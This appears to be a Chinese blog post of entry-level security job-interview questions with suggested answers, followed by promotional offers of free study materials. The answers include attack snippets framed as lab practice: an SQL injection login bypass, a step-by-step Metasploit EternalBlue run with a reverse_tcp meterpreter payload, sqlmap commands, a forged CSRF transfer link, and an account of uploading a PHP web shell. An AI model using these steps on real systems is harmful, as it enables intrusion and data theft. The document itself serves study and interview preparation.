不管是面安全运维、初级渗透测试还是应届生岗位面试官翻来覆去就问这些题我整理了近 3 个月 20 家企业的面试真题按「入门必问→进阶重点→项目踩坑」分类每道题都标了考察点和 “小白能说清” 的答案帮你避开 “答不出”“答跑偏” 的坑。一、基础理论类必问占比 30%这类题不考复杂技术但能筛掉 “连门都没入” 的人答案不用太深入说清核心逻辑就行。1. 什么是 TCP/IP 协议它分几层面试官考察点判断你是否懂网络基础连网络都不懂没法做安全小白答案TCP/IP 是互联网的 “交通规则”负责数据在电脑间传输。通常分 4 层应用层比如 HTTP、FTP像快递的 “收件人信息”传输层TCP/UDP负责把数据拆包 / 拼包像快递分拣网络层IP 协议确定数据传哪去像快递的 “运输路线”网络接口层比如网卡负责物理传输像快递车。避坑别记 7 层 OSI 模型面试问 TCP/IP说 4 层就行小白记混反而扣分。2. OWASP Top 10 是什么2021 版里最常见的漏洞是啥面试官考察点判断你是否了解行业通用标准这是安全人的 “基础知识手册”小白答案OWASP 是个安全组织Top 10 就是它总结的 “最常见的 10 种 Web 漏洞”2021 版里排第一的是 “注入漏洞”比如 SQL 注入还有跨站脚本XSS、失效的身份认证这些。我记的时候会抓重点比如注入漏洞就是黑客把恶意代码 “掺” 进正常请求里让服务器执行像输入框里输’ or 11–可能就会绕过登录这就是简单的 SQL 注入。避坑别说 “我记不全 10 个”重点说清前 3 个注入、XSS、失效认证加个小例子比记全更加分。3. 什么是防火墙它能防住所有攻击吗面试官考察点判断你是否懂基础防护工具安全运维岗必问小白答案防火墙像网络的 “守门人”按规则控制哪些数据能进、哪些能出。比如公司防火墙会禁止外部 IP 访问内部服务器的 22 端口SSH防止被远程登录。但它防不住所有攻击比如黑客用正常端口像 80、443浏览器用的端口传恶意数据防火墙可能识别不出来还有内部员工误点钓鱼链接防火墙也管不了。加分项提一句 “现在有下一代防火墙NGFW能识别应用层攻击比传统的好一些”显露出你了解新技术。4. HTTP 和 HTTPS 的区别是什么HTTPS 怎么保证安全面试官考察点判断你是否懂 Web 通信安全渗透测试、安全运维都问小白答案最直观的是网址开头HTTP 没锁HTTPS 有小绿锁。核心区别是 HTTPS 多了 “SSL/TLS 加密”HTTP 传数据是 “明文”比如你输的密码会直接发黑客能截到HTTPS 会把数据加密成 “乱码”只有服务器有钥匙能解开。它保证安全靠 “证书”比如百度的 HTTPS 证书是第三方机构发的证明这个网站是真的不是黑客仿的同时传输过程中会用对称加密快 非对称加密安全结合的方式。避坑别只说 “HTTPS 更安全”要讲清 “加密” 和 “证书” 这两个关键点。二、工具实操类核心占比 40%面试官最烦 “只会背理论不会用工具” 的人这类题一定要结合 “具体操作” 说哪怕是靶场经验也行。1. 用 Nmap 做端口扫描常用的命令有哪些比如想扫 192.168.1.1 的常用端口。面试官考察点判断你是否会用基础扫描工具渗透测试、运维必问小白答案我常用的有 3 个命令都是在 Kali Linux 里敲的快速扫常用端口nmap -F 192.168.1.1-F 是 “快速模式”只扫 100 个常用端口比如 80、443、22适合初步探测扫全端口1-65535nmap -p- 192.168.1.1加-v能看扫描过程比如 “发现 80 端口开放”看端口对应的服务nmap -sV 192.168.1.1比如能扫出 80 端口跑的是 Apache 2.4.49知道服务版本才能找对应漏洞。我在 DVWA 靶场练过扫出来 80 端口开放就能接着用浏览器访问靶场了。避坑别只说命令加个 “用在哪” 的场景比如 “扫靶场端口”证明你真用过。2. Burp Suite 怎么抓包改包比如想改一个登录请求的参数。面试官考察点判断你是否会用 Web 安全核心工具渗透测试必问小白答案首先得在浏览器里设代理比如 Burp 默认是 127.0.0.1:8080这样浏览器的请求会先过 Burp。抓包改包分 3 步打开 Burp 的 “Proxy” 模块点 “Intercept is on”开启拦截在浏览器里输登录账号密码点登录 —— 这时候请求会被 Burp 拦住在 “Raw” 标签里能看到请求数据比如usernametestpassword123把password123改成password456点 “Forward”放行服务器就会收到改过的请求。我练 SQL 注入时就用这个方法改请求里的参数比如把id1改成id1’ or 11–看服务器会不会返回所有数据。加分项提一句 “改完包后可以用‘Repeater’模块反复发请求测试不同参数的效果”显露出你会深入用工具。3. Metasploit 怎么用比如想利用 Windows 的永恒之蓝漏洞。面试官考察点判断你是否会用漏洞利用工具渗透测试进阶题小白答案Metasploit 是个漏洞利用框架里面有很多现成的 “攻击模块”。用永恒之蓝的话我在 Kali 里会这么操作先启动 msfconsole打开框架搜永恒之蓝的模块search eternalblue会出来exploit/windows/smb/ms17_010_eternalblue加载模块use exploit/windows/smb/ms17_010_eternalblue设目标 IPset RHOSTS 192.168.1.10靶机的 IP设攻击载荷就是成功后要执行的命令set PAYLOAD windows/x64/meterpreter/reverse_tcp这个载荷能拿到靶机的远程控制权限设自己的 IP让靶机连回来set LHOST 192.168.1.20最后运行exploit如果成功就能用shell命令控制靶机了。我在 VulnHub 的 Win7 靶机上练过成功拿到过桌面控制权限。避坑别只说步骤加 “靶机环境”说明你是在合法环境里练的不是乱扫真实网站。4. 怎么用 Wireshark 抓 HTTP 包怎么过滤出指定 IP 的流量面试官考察点判断你是否会分析网络流量安全运维、应急响应必问小白答案Wireshark 是抓包工具能看所有经过网卡的数据包。抓 HTTP 包步骤打开 Wireshark选要抓包的网卡比如 Wi-Fi 的网卡直接点 “开始”就能看到所有流量要过滤 HTTP 包在上面的过滤框里输 “http”就能只显示 HTTP 的请求和响应比如能看到浏览器向百度发的 GET 请求。如果想过滤指定 IP 的流量比如只看 192.168.1.10 的包过滤框里输 “ip.addr 192.168.1.10”如果想看出向 192.168.1.10 的包输 “ip.dst 192.168.1.10”。我之前排查 “网页加载慢” 的问题就用 Wireshark 抓包发现是某个 IP 的响应时间太长后来把那个 IP 加入防火墙白名单就好了。三、漏洞原理类进阶占比 20%这类题要讲清 “是什么 怎么来的 怎么防”不用太深入底层但逻辑要通。1. 什么是 SQL 注入怎么检测怎么防御面试官考察点判断你是否懂最常见的 Web 漏洞所有安全岗必问小白答案SQL 注入就是黑客把 SQL 语句 “掺” 进用户输入里让服务器误执行。比如登录页面的用户名输入框正常输 “test”服务器会执行select * from user where username‘test’如果黑客输test’ or 11–服务器就会执行select * from user where username‘test’ or 11–“or 11” 永远为真就能绕过登录。检测方法我常用两种 ——手动测在输入框里输’如果服务器返回报错比如 “SQL syntax error”说明可能有注入点工具测用 Burp 的 “Active Scan” 扫或者用 SQLMap命令比如sqlmap -u “http://test.com/login.php?usernametest”能自动检测是否有注入还能提权。防御方法核心是 “过滤用户输入”比如用参数化查询 PreparedStatement 让用户输入的内容只能当 “数据”不能当 SQL 命令给数据库账号降权比如查询用的账号不让删表、改数据用 WAFWeb 应用防火墙自动拦截注入语句。2. 什么是 XSS 攻击分哪几种怎么防面试官考察点判断你是否懂前端安全漏洞渗透测试、Web 安全岗必问小白答案XSS 就是黑客把恶意 JS 代码 “插” 进网页里让其他用户访问时执行。比如论坛评论区黑客发一条带的评论如果网站没过滤其他用户看评论时就会弹出弹窗严重的话会被偷 Cookie登录信息。分 3 种存储型 XSS恶意代码存在服务器里比如评论、数据库所有人看都触发最危险比如论坛评论反射型 XSS恶意代码在 URL 里比如http://test.com/search.php?key%3Cscript%3E…%3C/script%3E只有点链接的人触发比如钓鱼链接DOM 型 XSS恶意代码通过操作页面 DOM 触发比如 JS 里用document.write(location.href)没过滤 URL 参数不经过服务器。防御方法转义特殊字符比如把改成改成让 JS 代码变成普通文字用 CSP内容安全策略在 HTTP 头里设Content-Security-Policy: default-src ‘self’限制只能加载自己域名的资源不让加载恶意 JS给 Cookie 加HttpOnly属性让 JS 拿不到 Cookie就算有 XSS 也偷不了登录信息。3. 什么是 CSRF 攻击和 XSS 有啥区别怎么防面试官考察点判断你是否能区分相似漏洞进阶岗必问小白答案CSRF 是 “跨站请求伪造”比如黑客骗你点一个链接这个链接会自动向你已登录的网站发请求比如转账、改密码因为你登录过网站认你的 Cookie就会执行这个请求。举个例子你登录了某银行网站Cookie 还在然后点了黑客发的链接http://bank.com/transfer?to黑客账号money1000如果银行没防 CSRF就会自动转钱。和 XSS 的区别XSS 是黑客往网页里插 “恶意代码”让用户执行CSRF 是黑客 “骗用户发请求”利用用户的登录状态做事不需要插代码。防御方法加 CSRF Token网站给每个表单加一个随机字符串Token提交时要带这个 Token黑客不知道 Token就发不了有效请求检查 Referer 头判断请求是不是从自己网站发的比如 Referer 是http://bank.com才允许黑客的链接 Referer 是别的域名重要操作要二次验证比如转账输验证码。四、项目 / 经验类定薪关键占比 10%小白没真实项目也别怕说靶场经验、练手案例就行重点讲 “你做了什么 遇到什么问题 怎么解决的”。1. 你有没有做过漏洞挖掘 / 渗透测试的项目具体说下流程。面试官考察点判断你是否有实战能力没经验会减分但说清靶场经验能补救小白答案我虽然没企业项目经验但在 Hack The Box 和 DVWA 靶场做过完整的渗透测试流程和实际项目差不多比如 DVWA 靶场的测试信息收集用 Nmap 扫出靶机 IP 是 192.168.1.1080 端口开放跑的是 Apache 服务用 Burp 抓包看是 PHP 网站DVWA 版本是 1.10漏洞扫描用 Burp Active Scan 扫发现登录页有 SQL 注入评论区有 XSS漏洞利用SQL 注入用 SQLMap 跑拿到数据库里的用户表有 admin 的密码哈希用 John the Ripper 破解出密码是 “password”XSS在评论区发成功拿到其他用户的 Cookie提权登录后台后发现有文件上传功能上传了一个带马的 PHP 文件用蚁剑连接拿到服务器的 www-data 权限报告输出整理了 2 个漏洞的详细步骤、截图还有修复建议比如用参数化查询防注入转义字符防 XSS。我还在漏洞盒子平台提交过一个小漏洞某企业官网的反射型 XSS虽然没拿奖金但学会了怎么写规范的漏洞报告。避坑别瞎编企业项目说靶场 公益漏洞平台经验比编的真实面试官更认。2. 如果你发现服务器被入侵了怎么应急响应面试官考察点判断你是否有解决问题的思路安全运维、应急响应岗必问小白答案我会按 “止损→查原因→修复→总结” 四步来先止损比如服务器有异常进程先 kill 掉如果是 Web 入侵先把网站临时下线或者用防火墙阻断异常 IP如果数据被删先断开服务器的网络防止进一步破坏查原因看日志/var/log/auth.logLinux 登录日志看有没有陌生 IP 登录/var/log/apache2/access.logWeb 日志看有没有异常请求比如带注入语句的找后门用 find 命令找最近修改的文件find / -mtime -1找 1 天内改的文件看有没有陌生的 PHP 马、Shell 脚本查进程用 ps -aux 看有没有异常进程比如名字奇怪、CPU 占用高的修复删除后门文件改所有账号的密码尤其是 root、管理员账号补漏洞比如服务器有永恒之蓝漏洞就装补丁如果数据丢了用备份恢复总结写应急报告记清楚入侵时间、原因、损失、修复步骤下次针对性加固比如开启日志审计定期扫漏洞。我在 VMware 里模拟过 “服务器被植入木马” 的场景用这个流程成功找到木马文件/tmp/backdoor.sh并修复了。五、备考建议3 天突击就能用的方法优先背工具题Nmap、Burp、SQLMap 的常用命令记 3-5 个就行面试时说 “我常用 XX 命令做 XX 事”比背理论管用漏洞题加例子讲 SQL 注入时说 “我在 DVWA 里输’ or 11–绕过登录”比干讲原理更真实模拟面试找个学安全的朋友让他随便抽上面的题你脱稿说练 3 次就能克服紧张资料包我整理了适合零基础小白的笔记和资料包括整理好的几套面试题扫码下方二维码就能免费领取打印出来背更方便。为了帮助大家更好的塑造自己成功转型我给大家准备了一份网络安全入门/进阶学习资料里面的内容都是适合零基础小白的笔记和资料不懂编程也能听懂、看懂这些资料网络安全/黑客零基础入门【----帮助网安学习以下所有学习资料文末免费领取----】 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC漏洞分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。3.SRC黑客文籍大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单6.面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。网络安全学习路线学习资源对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。